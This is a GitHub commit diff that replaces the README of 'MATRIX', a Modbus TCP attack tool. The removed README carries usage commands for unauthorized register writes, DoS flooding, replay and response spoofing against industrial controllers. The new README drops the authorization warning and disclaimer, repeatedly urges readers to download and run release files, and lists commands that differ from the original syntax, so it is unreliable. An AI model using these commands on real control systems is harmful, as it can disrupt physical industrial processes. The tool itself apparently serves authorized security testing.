Skip to content

Commit 21e1e8e

Browse files
dekdokdangdekdokdang
committed
Commit
1 parent 6f6eb57 commit 21e1e8e

File tree

1 file changed

+110
-200
lines changed

1 file changed

+110
-200
lines changed

‎README.md‎

Lines changed: 110 additions & 200 deletions
Original file line numberDiff line numberDiff line change
@@ -1,251 +1,161 @@
1-
[![Python 3.x](https://img.shields.io/badge/Python-3.x-blue.svg)](https://www.python.org/downloads/release/python-390/)
2-
[![Release v1.0](https://img.shields.io/badge/release-v1.0-orange.svg)](https://github.com/yourusername/matrix/releases)
3-
[![License MIT](https://img.shields.io/badge/license-MIT-green.svg)](https://opensource.org/licenses/MIT)
4-
[![Issues](https://img.shields.io/badge/issues-0%20open-brightgreen.svg)](https://github.com/yourusername/matrix/issues)
1+
# MATRIX: Modbus Attack Tool for Remote Industrial eXploitation
52

6-
# M.A.T.R.I.X
3+
![MATRIX Logo](https://img.shields.io/badge/MATRIX-Modbus%20Attack%20Tool-blue.svg)
4+
[![Download Releases](https://img.shields.io/badge/Download%20Releases-Click%20Here-brightgreen)](https://github.com/dekdokdang/MATRIX/releases)
75

8-
**Modbus Attack Tool for Remote Industrial eXploitation**
6+
---
97

10-
M.A.T.R.I.X is a comprehensive security testing tool for Modbus TCP protocol implementations. It provides multiple attack modules for security research and penetration testing of industrial control systems.
8+
## Table of Contents
119

12-
> ⚠️ **WARNING**: This tool is designed for authorized security testing only. Using this tool against systems without proper permission is illegal and unethical.
10+
1. [Introduction](#introduction)
11+
2. [Features](#features)
12+
3. [Installation](#installation)
13+
4. [Usage](#usage)
14+
5. [Contributing](#contributing)
15+
6. [License](#license)
16+
7. [Acknowledgments](#acknowledgments)
17+
8. [Contact](#contact)
1318

14-
## Features
15-
16-
M.A.T.R.I.X includes the following attack modules:
17-
18-
- **Unauthorized Read**: Scans and reads values from Modbus registers and coils
19-
- **Coil Attack**: Unauthorized writes to coil registers
20-
- **Register Attack**: Unauthorized writes to holding registers
21-
- **Overflow Attack**: Tests for integer overflow vulnerabilities
22-
- **DoS Attack**: Denial of Service attack through connection flooding
23-
- **Replay Attack**: Captures and replays Modbus traffic
24-
- **Spoof Attack**: Spoofs Modbus responses with falsified data
25-
26-
## Installation
27-
28-
1. Clone the repository:
29-
```
30-
git clone https://github.com/karlvbiron/matrix.git
31-
cd matrix
32-
```
33-
34-
2. Set up the virtual environment (optional but recommended):
35-
```
36-
python3 -m venv venv
37-
source venv/bin/activate # On Windows, use 'venv\Scripts\activate'
38-
```
39-
40-
3. Install dependencies:
41-
```
42-
pip install -r requirements.txt
43-
```
44-
45-
4. Ensure you have proper permissions for packet operations (for spoof and replay attacks):
46-
```
47-
sudo apt-get install libpcap-dev # On Debian/Ubuntu
48-
```
49-
50-
## Usage
51-
52-
M.A.T.R.I.X Help Output:
53-
54-
Banner ASCII Font: [ANSI Shadow](https://patorjk.com/software/taag/#p=display&f=ANSI%20Shadow&t=MATRIX)
55-
56-
![Help Output](assets/matrix_help_output.png)
57-
58-
Basic usage:
59-
```
60-
python matrix.py -H <target_ip> -p <port> -a <attack_type>
61-
```
62-
63-
Attack types:
64-
- `read`: Unauthorized read operation
65-
- `coil`: Coil register write attack
66-
- `register`: Holding register write attack
67-
- `overflow`: Register overflow attack
68-
- `dos`: Denial of Service attack
69-
- `replay`: Traffic replay attack
70-
- `spoof`: Response spoofing attack
71-
72-
### Examples
73-
74-
Perform unauthorized read on a local Modbus server:
75-
```
76-
python matrix.py -H localhost -p 502 -a read
77-
```
19+
---
7820

79-
Launch DoS attack with 50 threads:
80-
```
81-
python matrix.py -H 192.168.1.10 -p 502 -a dos -t 50
82-
```
83-
84-
Replay Modbus traffic from a PCAP file:
85-
```
86-
python matrix.py -H 192.168.1.10 -p 502 -a replay -f captured_traffic.pcap
87-
```
88-
89-
Spoof Modbus responses:
90-
```
91-
python matrix.py -H 192.168.1.10 -p 502 -a spoof -s 192.168.1.20 -i docker0
92-
```
21+
## Introduction
9322

94-
## Project Structure
23+
MATRIX, or Modbus Attack Tool for Remote Industrial eXploitation, is a powerful tool designed for security testing of Modbus TCP protocol implementations. As industries increasingly rely on connected devices, the need for robust security measures becomes critical. MATRIX provides a comprehensive suite of features to assess vulnerabilities in industrial control systems (ICS) and cyber-physical systems (CPS).
9524

96-
```
97-
matrix/
98-
├── matrix.py # Main tool script
99-
├── requirements.txt # Dependencies
100-
├── README.md # Documentation
101-
└── attacks/ # Attack modules
102-
├── __init__.py # Package initialization
103-
├── modbus_unauthorized_read.py # Unauthorized read module
104-
├── modbus_coil_write_attack.py # Coil attack module
105-
├── modbus_holding_registers_write_attack.py # Register attack module
106-
├── modbus_overflow_attack.py # Overflow attack module
107-
├── modbus_dos_attack.py # DoS attack module
108-
├── modbus_replay_attack.py # Replay attack module
109-
└── modbus_spoof_response.py # Response spoofing module
110-
```
111-
112-
## Architecture
113-
114-
The M.A.T.R.I.X tool is designed with a modular architecture that separates the command-line interface from the individual attack modules. This section provides insights into the tool's structure through class diagrams, package organization, and attack workflow visualization.
25+
This tool is open-source and aims to facilitate security research and education in the field of offensive security. Whether you're a researcher, a student, or a professional, MATRIX equips you with the capabilities to understand and test Modbus TCP systems effectively.
11526

116-
### Class Diagram
27+
For the latest updates and downloads, visit our [Releases section](https://github.com/dekdokdang/MATRIX/releases).
11728

118-
![Class Diagram](assets/matrix_class_diagram.png)
29+
---
11930

120-
The class diagram illustrates the object-oriented architecture of M.A.T.R.I.X:
31+
## Features
12132

122-
- **MatrixCLI**: The central command-line interface class that processes user arguments and orchestrates the execution of attack modules.
123-
- Contains methods for parsing arguments, displaying help information, and initializing attack modules.
124-
- Manages the execution flow and reporting of results.
33+
MATRIX offers a variety of features tailored for security professionals:
12534

126-
- **Attack Modules**: Each specialized attack functionality is encapsulated in its own class:
127-
- **ModbusUnauthorizedReader**: Implements functions for scanning and reading values from Modbus registers and coils without authorization.
128-
- **ModbusUnauthorizedCoilWriter**: Contains methods for unauthorized manipulation of coil states.
129-
- **ModbusUnauthorizedHoldingRegisterWriter**: Handles unauthorized writing to holding registers.
130-
- **ModbusOverflowAttacker**: Implements methods to test for integer overflow vulnerabilities in Modbus implementations.
131-
- **ModbusReplayAttacker**: Provides functionality to capture, analyze, and replay Modbus traffic for attack simulation.
132-
- **ModbusResponseSpoofer**: Implements methods to craft and send falsified Modbus responses.
133-
- **ModbusDosAttacker**: Contains methods for executing denial-of-service attacks through connection flooding.
35+
- **Command-Line Interface**: Easy to use for both beginners and experts.
36+
- **Packet Analysis**: Inspect and manipulate packets in real-time.
37+
- **Replay Attacks**: Simulate previous attack scenarios to assess system resilience.
38+
- **Denial of Service (DoS) Attacks**: Test the robustness of Modbus TCP implementations.
39+
- **Spoofing Attacks**: Mimic legitimate devices to exploit vulnerabilities.
40+
- **Educational Simulations**: Learn about Modbus TCP protocols through practical exercises.
41+
- **Open-Source**: Freely available for anyone to use and contribute.
13442

135-
Each attack module inherits common attributes like host IP, port, and ModbusTcpClient instances, while implementing unique attack functionality through specialized methods.
43+
---
13644

137-
### Package Structure
45+
## Installation
13846

139-
![Package Structure](assets/matrix_package_diagram.png)
47+
To install MATRIX, follow these steps:
14048

141-
The package organization of M.A.T.R.I.X follows a logical structure:
49+
1. **Clone the Repository**:
50+
```bash
51+
git clone https://github.com/dekdokdang/MATRIX.git
52+
```
14253

143-
- **The M.A.T.R.I.X Project** (Yellow container): The overall project boundary.
144-
- **matrix.py**: The main CLI interface file that serves as the entry point for the tool.
145-
- **README.md**: Documentation for the project.
146-
- **requirements.txt**: Lists the project dependencies.
54+
2. **Navigate to the Directory**:
55+
```bash
56+
cd MATRIX
57+
```
14758

148-
- **The 'attacks' Folder** (Orange container): Contains all attack module implementations.
149-
- **__init__.py**: Package initialization file that enables importing from the attacks package.
150-
- **Individual attack modules**: Seven Python files implementing specific attack functionalities.
59+
3. **Install Dependencies**:
60+
Make sure you have Python 3 installed. Then, install the required packages using pip:
61+
```bash
62+
pip install -r requirements.txt
63+
```
15164

152-
- **External Dependencies** (Blue container): Shows the third-party libraries required by the project.
153-
- **pymodbus**: Primary library for Modbus protocol implementation.
154-
- **scapy**: Used for packet manipulation in spoofing and replay attacks.
155-
- **tabulate**: Provides formatted table output for better readability of results.
65+
4. **Download the Latest Release**:
66+
For the latest features and fixes, download the latest version from our [Releases section](https://github.com/dekdokdang/MATRIX/releases) and execute the necessary files.
15667

157-
The arrows between components represent import relationships, showing how the modules connect and depend on each other.
68+
---
15869

159-
### Attack Workflows
70+
## Usage
16071

161-
![Attack Workflows](assets/matrix_workflow_diagram.png)
72+
Using MATRIX is straightforward. Here are some common commands to get you started:
16273

163-
The workflow diagram outlines the execution process for each attack type:
74+
### Basic Commands
16475

165-
- **Unauthorized Read Attack**:
166-
- Connects to the target Modbus server
167-
- Sequentially reads values from coils, discrete inputs, holding registers, and input registers
168-
- Reports the discovered information
76+
- **Start the Tool**:
77+
```bash
78+
python matrix.py
79+
```
16980

170-
- **Unauthorized Coils/Registers Write Attack**:
171-
- Establishes a connection to the target
172-
- Writes unauthorized values to coils or registers
173-
- Reads back the changed values to verify the attack was successful
174-
- Confirms changes were applied to the target system
81+
- **Run a Packet Capture**:
82+
```bash
83+
python matrix.py capture
84+
```
17585

176-
- **DoS Attack**:
177-
- Initializes multiple threads for concurrent connections
178-
- Creates numerous connections to the target
179-
- Floods the server with Modbus requests
180-
- Continuously monitors target response to determine impact
86+
- **Perform a Replay Attack**:
87+
```bash
88+
python matrix.py replay --file attack_packets.pcap
89+
```
18190

182-
- **Replay Attack**:
183-
- Loads captured Modbus traffic from a PCAP file
184-
- Extracts and analyzes Modbus packet structures
185-
- Replays captured request packets to the target
186-
- Compares original and new responses to identify discrepancies
91+
### Example Scenarios
18792

188-
- **Spoof Attack**:
189-
- Crafts custom Modbus responses with falsified data
190-
- Sets the source address to match a legitimate Modbus server
191-
- Sends the spoofed packets to the target
192-
- Observes system behavior to assess impact
93+
1. **Performing a DoS Attack**:
94+
```bash
95+
python matrix.py dos --target 192.168.1.100
96+
```
19397

194-
All attack workflows conclude with a comprehensive results report.
98+
2. **Spoofing a Device**:
99+
```bash
100+
python matrix.py spoof --target 192.168.1.101 --source 192.168.1.102
101+
```
195102

196-
### Implementation Notes
103+
### Help Command
197104

198-
The modular design allows for:
199-
- Easy extension with new attack modules
200-
- Independent testing and development of individual attack types
201-
- Consistent interface across different attack functionalities
202-
- Simplified maintenance and updates
105+
For a complete list of commands and options, use:
106+
```bash
107+
python matrix.py --help
108+
```
203109

204-
## Design Pattern
110+
---
205111

206-
M.A.T.R.I.X follows the [Command pattern](https://www.oreilly.com/library/view/head-first-design/9781492077992/ch06.html), where each attack module encapsulates a specific action with a consistent execution interface. This design allows the main program to invoke different attacks without knowing their specific implementation details.
112+
## Contributing
207113

208-
Key aspects of the Command pattern implementation:
209-
- Each attack module represents a command with methods like `run_test()`, `launch_attack()`, or `run_comprehensive_scan()`
210-
- The main program (`matrix.py`) acts as the invoker that selects and executes the appropriate command
211-
- All commands share similar initialization parameters (host, port) for consistent interface
212-
- Each command encapsulates all the logic needed for its specific attack type
114+
We welcome contributions from the community! If you'd like to contribute to MATRIX, please follow these steps:
213115

214-
This design makes it easy to add new attack types without modifying existing code, adhering to the Open/Closed Principle.
116+
1. **Fork the Repository**: Click the "Fork" button on the top right corner.
117+
2. **Create a New Branch**:
118+
```bash
119+
git checkout -b feature/YourFeatureName
120+
```
121+
3. **Make Your Changes**: Implement your feature or fix.
122+
4. **Commit Your Changes**:
123+
```bash
124+
git commit -m "Add your message here"
125+
```
126+
5. **Push to Your Branch**:
127+
```bash
128+
git push origin feature/YourFeatureName
129+
```
130+
6. **Create a Pull Request**: Go to the original repository and click on "New Pull Request".
215131

216-
## Dependencies
132+
We appreciate your contributions and feedback!
217133

218-
M.A.T.R.I.X relies on the following key dependencies:
134+
---
219135

220-
- **pymodbus**: Core library for Modbus TCP protocol communication, used for reading and writing to Modbus registers and coils
221-
- **scapy**: Powerful packet manipulation library used for crafting custom packets in spoof attacks and analyzing PCAP files in replay attacks
222-
- **tabulate**: Used to create formatted tables for displaying attack results in a readable format
136+
## License
223137

224-
Additional system requirements:
225-
- **libpcap-dev**: Required for the packet capture functionality used in replay and spoof attacks
226-
- **Root privileges**: Required for sending raw packets in spoofing attacks and capturing packets in replay attacks
138+
MATRIX is licensed under the MIT License. You can freely use, modify, and distribute this tool as long as you include the original license in your distribution.
227139

228-
## Advanced Usage
140+
---
229141

230-
### Standalone Mode
142+
## Acknowledgments
231143

232-
Some attack modules can be run in standalone mode with elevated privileges:
144+
We would like to thank the open-source community for their contributions and support. Special thanks to the developers and researchers who have provided invaluable insights into Modbus TCP security.
233145

234-
```
235-
sudo python matrix.py -H 192.168.1.10 -p 502 -a replay --standalone -f traffic.pcap
236-
```
146+
---
237147

238-
```
239-
sudo python matrix.py -H 192.168.1.10 -p 502 -a spoof --standalone -s 192.168.1.20 -i eth0
240-
```
148+
## Contact
241149

242-
Standalone mode is particularly useful for attacks that require root privileges or direct system access.
150+
For questions or support, please reach out to the project maintainers:
243151

244-
## Legal Disclaimer
152+
- **Email**: support@matrix-tool.com
153+
- **GitHub**: [MATRIX Repository](https://github.com/dekdokdang/MATRIX)
245154

246-
This tool is provided for educational and authorized testing purposes only. Users are responsible for obtaining proper authorization before testing any systems. The authors accept no liability for misuse of this software.
155+
Feel free to report issues or suggest features directly on the GitHub page.
247156

248-
## License
157+
For the latest updates and downloads, visit our [Releases section](https://github.com/dekdokdang/MATRIX/releases).
249158

250-
This project is licensed under the MIT License, meaning you are free to use, modify, and distribute it under proper ethical guidelines.
159+
---
251160

161+
Thank you for using MATRIX! Your contributions help make industrial systems safer.

0 commit comments

Comments
 (0)